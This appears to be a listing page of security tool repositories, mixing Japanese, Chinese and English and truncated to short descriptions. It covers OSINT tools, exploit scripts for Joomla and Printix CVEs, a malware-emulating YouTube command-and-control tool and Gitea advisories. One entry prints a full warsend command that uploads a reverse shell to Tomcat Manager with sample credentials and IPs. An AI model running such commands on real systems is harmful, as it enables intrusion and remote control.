poastal

Poastal - the Email OSINT tool Poastal is an email OSINT tool that provides valuable information on any email address. With Poastal, you can easily input an email address and it will quickly answer several questions, providing you with crucial information. ✨ Features Determine the name of the...

gftrace

gftrace Golang バイナリ向けのコマンドライン Windows API トレーシングツールです。 注意: このツールは PoC であり、進行中のプロトタイプですので、そのように扱ってください。フィードバックはいつでも歓迎します！ 仕組み Golang プログラムは、そのビルド方法や実行時の動作に関して多くの特徴がありますが、OS レイヤーとやり取りする必要があるため、どこかの時点で Windows API の関数を呼び出す必要があります。 Go のランタイムパッケージには asmstdcall という関数が含まれています。この関数は Windows API...

gftrace

gftrace A command line Windows API tracing tool for Golang binaries. Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome! How it works? Although Golang programs contains a lot of nuances regarding the way they are built and their...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

covert-tube

covert-tube A program to control systems remotely by uploading videos to Youtube using Python to create the videos and the listener, emulating some malware I was reading about. It allows to create videos with frames formed of simple text, QR codes with cleartext or QR codes using AES encryption...

CVE-2023-23752

CVE-2023-23752 Joomlaの未認可アクセス脆弱性 fofa: product="Joomla" 使い方 usage: CVE-2023-23752.py -h -u URL -f FILE -t THREAD -T TIMEOUT -o OUTPUT optional arguments: -h, --help show this help message and exit -u URL, --url URL Target urle.g. url.txt -f FILE, --file FILE Target filee.g. url.txt -t THREAD,...

poro

poro Description Scan for publicly accessible assets on your AWS environment Services covered by this tool: AWS ELB API Gateway S3 Buckets RDS Databases EC2 instances Redshift Databases Poro also check if a tag you specify is applied to identified public resources using --tag-key and --tag-value...

printix-CVE-2022-25089

CVE-2022-25089 システム管理者にとって悪夢のような、認証なしにどこからでもユーザーがレジストリを変更できる問題。 ドキュメントを読む » デモを見る . バグを報告 . 機能をリクエスト 目次 プロジェクトについて 使用技術 はじめに 前提条件 インストール 使用方法 ロードマップ 貢献 ライセンス 著者 謝辞 プロジェクトについて Printix の "Printix Secure Cloud Print Management" バージョン 1.3.1106.0 以下に含まれる PrintixService.exe...

CVE-2023-5359

CVE-2023-5359 - W3 Total Cache 平文保存の脆弱性 説明 CVE-2023-5359 は、WordPress プラグイン W3 Total Cache のバージョン ≤ 2.7.5 に影響する平文保存の脆弱性です。この脆弱性により、リモートの攻撃者は、公開されている暗号化されていない PHP ファイルに保存された機密の認証情報にアクセスできます。 深刻度 CVSS スコア : 7.5 高 ベクター : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N タイプ : 機密情報の露出 技術的な脆弱性 根本原因 W3 Total...

warsend

WARSend Apache Tomcat Manager API を使用した WAR シェルアップロード 前提条件 認証情報 Tomcat Manager への Text API アクセス $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // / |/|// |// ||//// //,/...

Uchihash

Uchihash Uchihash は、マルウェアアナリストが埋め込みハッシュ値の処理にかかる時間を節約できる小さなツールです。このハッシュ値は以下のようなさまざまな目的で使用されます。 API の動的インポート（特にシェルコード） アナリストが使用する実行中プロセスの確認（アンチ分析） VM やアンチウイルスのアーティファクトの確認（アンチ分析） 特徴 標準アルゴリズムまたは独自のハッシュアルゴリズムを使用したハッシュ生成 解析データベース内のハッシュ値に注釈を付けるスクリプト（IDC、IDAPython、Ghidra）の生成 ハッシュマップの生成とハッシュ値の検索 インストール $...

CVE-2026-96594

The Gitea API endpoint GET /api/v1/repos/owner/repo/media/filepath wrote files of up to 1 KiB that are stored directly in Git, not in LFS, to the response without the content type and disposition headers Gitea uses for user content. An HTML file committed to a repository was therefore rendered by...

CVE-2026-97208

The Gitea API endpoint for creating push mirrors POST /api/v1/repos/owner/repo/pushmirrors checked only whether mirroring was enabled and not the mirror DISABLENEWPUSH setting that the web interface enforces. A repository administrator could therefore create new push mirrors on instances where th...

CVE-2026-86684

The Gitea push mirror API checked whether the repository owner, instead of the requesting user, may use local file system paths. On instances with security IMPORTLOCALPATHS = true, a repository administrator who is not allowed to import local paths could add a push mirror to a local path on the...

CVE-2026-105268

The Gitea API routes for issue attachments /api/v1/repos/owner/repo/issues/index/assets/attachmentid also accepted attachments that belong to comments on the issue. Because the author of an issue may edit and delete the issue's attachments, a user who opened an issue could rename or delete...

CVE-2023-31664

CVE-2023-31664 CVE-2023-31664 WSO2 Api Manager v4.2.0 以下版本的 /authenticationendpoint/login.do 中存在一个反射型跨站脚本（XSS）漏洞，攻击者可通过向 tenantDomain 参数注入特制负载来执行任意 Web 脚本或 HTML。 PoC：要利用该漏洞，只需将 tenantDomain 参数的值从 super.carbon 更改为 示例：...

Burp_Collector

Burp Collector Burp Collectorは、ペンテスターやバグハンターがWeb/モバイルアプリケーションテストを支援するために特別に設計されたマルチプロセッシングツールです。その強力な機能により、Burp Suiteファイルからの情報収集と抽出プロセスを効率化し、APIエンドポイントを効果的に管理できるようにします。 Burp...

csf

ArmourBird CSF - Container Security Framework Note: The CSF Client is under active development and is getting converted into GoLang for better performace and architecture Table of Contents 1. About 2. Architecture Diagram 3. APIs-CSF Server 4. Installation/Usage 5. Building Docker Images 6. Sneak...

csf

ArmourBird CSF - コンテナセキュリティフレームワーク 注: CSF Clientは活発に開発中であり、パフォーマンスとアーキテクチャ向上のためGoLangに移行中です。 目次 1. 概要 2. アーキテクチャ図 3. API - CSFサーバー 4. インストール/使用方法 5. Dockerイメージのビルド 6. プレビュー 7. 今後のタスク 8. ウェブサイト 9. Twitter 10. 参考文献 概要 ArmourBird CSF - コンテナセキュリティフレームワーク...

karma_v2

⡷⠂𝚔𝚊𝚛𝚖𝚊 𝚟𝟸⠐⢾ 𝚔𝚊𝚛𝚖𝚊 𝚟𝟸 はパッシブなオープンソースインテリジェンス（OSINT）自動偵察（フレームワーク）です。 𝚔𝚊𝚛𝚖𝚊 𝚟𝟸 は、情報セキュリティ研究者、ペネトレーションテスター、バグハンターが、標的に関する深い情報、より多くのアセット、WAF/CDNバイパスされたIP、内部/外部インフラ、公開されているリークなどを発見するために使用できます。この自動化を使用するには、Shodan Premium API キーが必要です。𝚔𝚊𝚛𝚖𝚊 𝚟𝟸 からの出力は画面に表示され、ファイル/ディレクトリに保存されます。 ℹ Premium Shodan API...